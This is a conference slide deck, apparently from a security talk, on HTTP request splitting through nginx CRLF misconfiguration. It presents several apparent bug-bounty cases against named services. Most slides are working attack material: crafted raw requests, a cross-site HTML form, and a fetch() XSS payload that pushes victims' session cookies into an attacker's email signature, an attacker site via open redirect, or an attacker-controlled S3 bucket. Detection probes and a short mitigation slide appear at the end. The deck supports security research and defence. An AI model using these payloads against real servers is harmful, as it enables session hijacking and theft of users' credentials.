0% found this document useful (0 votes)
257 views68 pages

HTTP Request Splitting

An HTTP request splitting vulnerability was found in the mail.yandex.ru service. By manipulating the signature parameter in a POST request, an attacker could inject additional HTTP headers and requests, potentially leaking cookies or other sensitive information. Specifically, the vulnerability allowed controlling the Request-URI and injecting custom HTTP headers via CRLF injection in the signature field when submitting forms using multipart/form-data encoding. This could lead to issues like session hijacking or accessing intranet resources.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
257 views68 pages

HTTP Request Splitting

An HTTP request splitting vulnerability was found in the mail.yandex.ru service. By manipulating the signature parameter in a POST request, an attacker could inject additional HTTP headers and requests, potentially leaking cookies or other sensitive information. Specifically, the vulnerability allowed controlling the Request-URI and injecting custom HTTP headers via CRLF injection in the signature field when submitting forms using multipart/form-data encoding. This could lead to issues like session hijacking or accessing intranet resources.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

HTTP Request Splitting

vulnerabilities exploitation

Speaker: Sergey Bobrov

@BlackFan
HTTP Splitting

Why is this still relevant in 2023?

▪ nginx is used as a frontend in ~30-50% of sites in the world

▪ it's not nginx vulnerability, it's misconfiguration

2
Nginx misconfiguration

Example of nginx variables that can contain CR LF characters

$uri - Normalized Request-URI value


$document_uri - $uri alias

Variables from regexp with an exclusive range


location ~ /docs/([^/]*)? { … $1 … } # vulnerable
location ~ /docs/(.*)? { … $1 … } # not vulnerable

3
Nginx misconfiguration

Functions that form HTTP request/response structure

rewrite, return, add_header, proxy_set_header, proxy_pass

Classic example (HTTP > HTTPS redirect)

return 302 [Link]

4
CRLF Injection (HTTP Response)

GET /%0D%0ASet-Cookie:%20x=x HTTP/1.1 HTTP/1.1 302 Moved Temporarily


Host: [Link] Date: Mon, 01 Jun 2023 [Link] GMT
Location: [Link]
Set-Cookie: x=x

5
CRLF Injection (HTTP Response)

http/1.1

http/2 http/1.1

6
CRLF Injection (HTTP Request)

GET /%20HTTP/1.1%0D%0AX:%20x HTTP/1.1 GET / HTTP/1.1


Host: [Link] X: x HTTP/1.1
Cookie: sessionid=xxx; Host: [Link]
Cookie: sessionid=xxx;

7
CRLF Injection (HTTP Request)

The exploitation and detection of the vulnerability depends on


what can be controlled in the request.

GET /api/[INJ]?foo=bar&baz=[INJ] HTTP/1.1


Host: backend
Cookie: sessionid=xxx;
X-Header: [INJ]

8
Detection methods

[Link] Any HTTP code

[Link] 400 Bad Request

GET / H HTTP/1.1
Host: [Link]
Cookie: sessionid=xxx;

9
Detection methods

[Link] Any HTTP code

[Link] 505 HTTP Version Not Supported

GET / HTTP/13.37
X: x HTTP/1.1
Host: [Link]
Cookie: sessionid=xxx;

10
Detection methods

[Link] Any HTTP code

[Link] 400 Bad Request

GET / HTTP/1.1
Host: x HTTP/1.1
Host: [Link]
Cookie: sessionid=xxx;

11
Detection methods

Vulnerability often is triggered before the authorization check

CRLF Injection Auth check

12
CRLF Injection (HTTP Response)

▪ Exploitation of non-exploitable bugs

▪ XSS via HTTP Header, via raw Request-URI

▪ Possibility to send two+ requests

▪ Potential HTTP Desync attacks

▪ Access to other backend vhosts

▪ Web Cache poisoning vulns

▪ WAF bypass

▪ Attacks that require custom headers

▪ Etc…

13
Case #1
[Link]
Case #1: [Link]

location ^~ /lite/api/ {
proxy_pass [Link]
}

GET /lite/api/%20HTTP/1.1%0D%0AX:%20x HTTP/1.1 GET /lite/api/ HTTP/1.1


Host: [Link] X: x HTTP/1.1
Cookie: Session_id=xxx; Host: [Link]
Cookie: Session_id=xxx;

15
Case #1: [Link]
What can an attacker control in HTTP request?

GET /lite/api/[INJ] HTTP/1.1


Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Connection: close

16
Case #1: [Link]
Adding custom HTTP headers

GET /lite/api/[INJ] HTTP/1.1


Arbitrary-Header: HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Connection: close

17
Case #1: [Link]
Partial control of the Request-Path

/%252e%252e/ /%2e%2e/

18
Case #1: [Link]
Partial control of the Request-Path

GET /lite/api/%2e%2e/arbitrary/path HTTP/1.1


Arbitrary-Header: HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Connection: close

19
Case #1: [Link]

Changing the HTTP method (CSRF-like)

POST /lite/api/%2e%2e/arbitrary/path HTTP/1.1


Arbitrary-Header: HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Connection: close

key=value

20
Case #1: [Link]

POST /lite/api/%2e%2e/arbitrary/path HTTP/1.1


Host: [Link]

param= HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
[…]

&param2=value

21
Case #1: [Link]

POST /lite/api/%2e%2e/arbitrary/path HTTP/1.1


Host: [Link]
Cookie: Session_id=<attacker_session_id>;

param= HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
[…]

&param2=value

22
Case #1: [Link]

Pros and cons of this type of vulnerability exploitation

▪ Exploitation of the vulnerability does not depend ▪ Samesite cookies


on the settings and privileges of the client

▪ Value of the CSRF token is known to the attacker

23
Case #1: [Link]

Email signature:

▪ Supports multiline value

▪ Has no limits on the range of


allowed characters

▪ Has no limit on the maximum


length of a value

24
Case #1: [Link]

POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1


Host: [Link]
Cookie: Session_id=<attacker_session_id>;
Content-Length: 5000
Content-Type: application/x-www-form-urlencoded

_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: [Link]
http
body
Cookie: yandexuid=[…]; Session_id=[…];
[…]
&x=padding[…5000…]padding

25
Case #1: [Link]

<form
action="[Link]
[Link]%20HTTP/1.1%0D%0AHost:[Link]%0D%0ACookie:Session_id=
<attacker_session_id>%3b%0D%0AContent-Length:5000%0D%0A
Content-Type:application/x-www-form-urlencoded%0D%0A%0D%0A
_ckey=<attacker_CSRF_token>&signature="
method="POST">

<input type="hidden" name="x" value="padding[…5000…]padding" />


<input type="submit" value="Submit request" />

</form>
26
Case #1: [Link]

POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1


Host: [Link]
Cookie: Session_id=<attacker_session_id>;
Content-Length: 5000
Content-Type: application/x-www-form-urlencoded

_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
[…] signature parameter
contains only this data
&x=padding[…5000…]padding

27
Case #1: [Link]

POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1


Host: [Link]
Cookie: Session_id=<attacker_session_id>;
Content-Length: 5000
Content-Type: application/x-www-form-urlencoded
Symbol ";" like "&"
is the parameter separator
_ckey=<attacker_CSRF_token>&signature= HTTP/1.1
Host: [Link]
Cookie: yandexuid=[…]; Session_id=[…];
[…]
&x=padding[…5000…]padding

28
Case #1: [Link]

OK, cookie leak is not possible via


application/x-www-form-urlencoded
on this case.

But what about multipart/form-data?

29
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
[…]
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="_ckey"

<attacker_CSRF_token>
--xxx
Content-Disposition: form-data; name="signature"

PoC: HTTP/1.1
Host: [Link]
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
30
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
[…]
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="_ckey"

<attacker_CSRF_token>
--xxx signature parameter
Content-Disposition: form-data; name="signature" contains only this data

PoC: HTTP/1.1
Host: [Link]
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
31
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
[…]
Content-Type: multipart/form-data; boundary=xxx

--xxx
Content-Disposition: form-data; name="_ckey"
X-Original-Uri
<attacker_CSRF_token> contains a boundary
--xxx
Content-Disposition: form-data; name="signature"

PoC: HTTP/1.1
Host: [Link]
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--xxx%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--xxx--
padding[…5000…]padding
32
Case #1: [Link]
POST /lite/api/%2e%2e/%2e%2e/lite/[Link] HTTP/1.1
Host: [Link]
[…]
Content-Type: multipart/form-data; boundary=x.x

--x.x
Content-Disposition: form-data; name="_ckey"

<attacker_CSRF_token>
--x.x
Content-Disposition: form-data; name="signature"

PoC: HTTP/1.1
Host: [Link]
X-Original-Uri: /lite/api/%252e%252e/[…]%0D%0A%0D%0A--x%2ex%0D%0AContent-Disposition:[…]
Cookie: yandexuid=[…]; Session_id=[…];
User-Agent: Mozilla/5.0
[…]
--x.x--
padding[…5000…]padding
33
Case #1: [Link]

Attacker Session_id

Client Session_id
34
Case #2
[Link]
Case #2: [Link]

location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/[Link]?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass [Link]

GET /dna/payment/x%20HTTP/1.1%0D%0AX:x HTTP/1.1 GET /registered/[Link]?cmd=unifiedPayment&


Host: [Link] context=payment&native_uri=x HTTP/1.1
Cookie: Session_id=xxx; X:x HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;

36
Case #2: [Link]
The exploitation of the vulnerability is complicated by the static path

GET /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=x HTTP/1.1


CRLF: Injection HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;

37
Case #2: [Link]
What if we use HTTP Parameter Pollution?

GET /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=x
&cmd=foobar HTTP/1.1
CRLF: Injection HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;

38
Case #2: [Link]
The extra GET parameter didn't work, but the POST was successful

POST /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=x HTTP/1.1


CRLF: Injection HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;
Content-Type: application/x-www-form-urlencoded

cmd=foobar

39
Case #2: [Link]
Now we need to find a way to extract the data

sub cmd_unlockCamp :Cmd(unlockCamp)


:Description('разблокировака кампании')
:Rbac(Code => rbac_cmd_by_owners, ExceptRole => [media, superreader,
limited_support])
{
[...]
my %FORM = %{$_[0]{FORM}};
[...]
if($FORM{retpath}) {
return redirect($r, $FORM{retpath});

40
Case #2: [Link]
Yep, we will use Open Redirect

POST /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=x HTTP/1.1


CRLF: Injection HTTP/1.1
Host: [Link]
Cookie: Session_id=xxx;
Content-Type: application/x-www-form-urlencoded

cmd=unlockCamp&retpath=/\[Link]/

41
Case #2: [Link]

CRLF Injection

HTTP Parameter Pollution Leak httpOnly cookie Session_id

Open Redirect

42
Case #2: [Link]
POST /registered/[Link]?cmd=unifiedPayment&context=payment&native_uri=? HTTP/1.1
Host: [Link]
Cookie: Session_id=<attacker_session_id>;
Content-Type: multipart/form-data; boundary=wrw
Content-Length: 12000

[…]

--wrw
Content-Disposition: form-data; name="retpath"

/\[Link]/? HTTP/1.1
Host: [Link]
[…]
Cookie: Session_id=xxx;
--wrw--
padding[…12000…]padding

43
Case #2: [Link]
CRLF Injection
+
Open Redirect

/\[Link]? + Cookie

Session_id
[Link]
44
Case #2: [Link]

45
Case #2: [Link]

Cookie values can contain the # symbol, so the attacker's site needs to save
not only the request data, but also the [Link].

HTTP/1.1 302 Found


Connection: close
[…]
Location: /\[Link]? HTTP/1.0 […] Cookie: param=value#value; Session_id=[…];

46
Case #3
Amazon S3
Case #3: Amazon S3

location /s3/ {
proxy_pass [Link]
}

Frans Rosén
[Link]

48
Case #3: Amazon S3

GET /s3/[Link]%20HTTP/1.1%0d%0aHost:attacker-bucket%0d%0a%0d%0a HTTP/1.1


Host: [Link]
Cookie: sessionid=xxx;

GET /s3/[Link] HTTP/1.1


Host: attacker-bucket

HTTP/1.1
Host: [Link]
Cookie: session=xxx;

49
Case #3: Amazon S3

CRLF Injection

[Link] Amazon s3 company-bucket

public
/s3/[Link]

attacker-bucket
50
Case #3: Amazon S3
This is a great XSS example, but what if we could make it even better?
In fact, we control not only the content stored on S3, but also the bucket
settings

GET /s3/[Link] HTTP/1.1


Host: attacker-bucket

HTTP/1.1
Host: [Link]
Cookie: session=xxx;

51
Case #3: Amazon S3
Set the following bucket policy

{
"Version": "2012-10-17",
"Id": "Policy1687790232544",
"Statement": [
{
"Sid": "Stmt1687790230460",
"Effect": "Allow",
"Principal": "*",
"Action": [
"s3:PutObject",
"s3:GetObject"
],
"Resource": "arn:aws:s[Link]ttacker-bucket/*"
}
]
}

52
Case #3: Amazon S3
Now reuses existing XSS for PUT request

<script>
fetch(
'/s3/[Link]%20HTTP/1.1%0D%0AHost:attacker-bucket%0D%0AContent-Length:1000%0D%0A%0D%0A',
{
method: 'PUT',
body: 'x'.repeat(1000),
headers: {
'Content-Type': 'text/plain'
},
credentials: 'include'
}
)
</script>

53
Case #3: Amazon S3
Now reuses existing XSS for PUT request

PUT /s3/[Link] HTTP/1.1


Host: attacker-bucket
Content-Length: 1000

HTTP/1.1
Host: [Link]
Cookie: secret=value;
Content-Length: 1000

xxx[…1000…]xxx

54
Case #3: Amazon S3
[Link]

file
content

55
Case #3: Amazon S3

This exploitation of the vulnerability is relevant in HTTP Splitting on any


object storage. For example:
▪ VK Cloud Storage
▪ Yandex Object Storage

If the storage does not allow unauthorized file uploads, create AccessKey
and add HTTP header to the payloads.
▪ Authorization: AWS <access_key>:<signature>
▪ Date: <current_date>

56
Case #4
[Link]
Case #4: [Link]

proxy_pass [Link]
proxy_set_header Host $proxy_host;
proxy_set_header X-Yandex-Https yes;

GET /%20HTTP/1.1%0D%0AX:%20x HTTP/1.1 GET /chat/internal HTTP/1.1


Host: [Link] X: x HTTP/1.1
Host: [Link]

58
Case #4: [Link]

Any exploit attempts to move part of the HTTP request into the
HTTP body would return a 302 redirect

GET HTTP/1.1 302 Moved temporarily


/%20HTTP/1.1%0D%0AHost:[Link]%0D%0A%0D% […]
0A HTTP/1.1 Location: [Link]
Host: [Link]

59
Case #4: [Link]

Frontend can use custom headers that affect how the backend
handles the HTTP request

proxy_pass [Link]
proxy_set_header Host $proxy_host;
proxy_set_header X-Yandex-Https yes;

60
Case #4: [Link]

After forming the correct headers, this turned into a regular


XSS via Host

GET /%20HTTP/1.1%0aX-Yandex-Https:yes%0aHost:--%3E%3Cs%[Link]%0a%0a HTTP/1.1


Host: [Link]

61
Case #5
[Link]
Case #5: [Link]
Example when the backend supports HTTP pipelining

CRLF Injection

63
Case #5: [Link]

GET
/contests/%20HTTP/1.1%0d%0aHost:[Link]%0d%0a%0d%0aGET%20/%3cscript%3ealert([Link])
%3c/script%3e%20HTTP/1.1%0d%0aHost:%20xxx%0d%0aX: HTTP/1.1
Host: [Link]

GET /contests/ HTTP/1.1


404 Not Found
Host:[Link] Content-Type: text/html

GET /<script>alert([Link])</script> HTTP/1.1


Host: xxx
301 Moved Permanently
X: HTTP/1.1
Host: [Link]
64
Case #5: [Link]

▪ Sometimes an HTTP request


responded with two HTTP responses

▪ Second HTTP response was part


of the HTTP Body of the first
response

▪ Why? ¯\_(ツ)_/¯

65
Case #5: [Link]

66
Mitigation

Use $request_uri instead of $uri, $document_uri

In the exclusion ranges of the regular expression, add


whitespace characters (\s).

location ~ /docs/([^/]*)? { … $1 … } # vulnerable


location ~ /docs/([^/\s]*)? { … $1 … } # not vulnerable

67

You might also like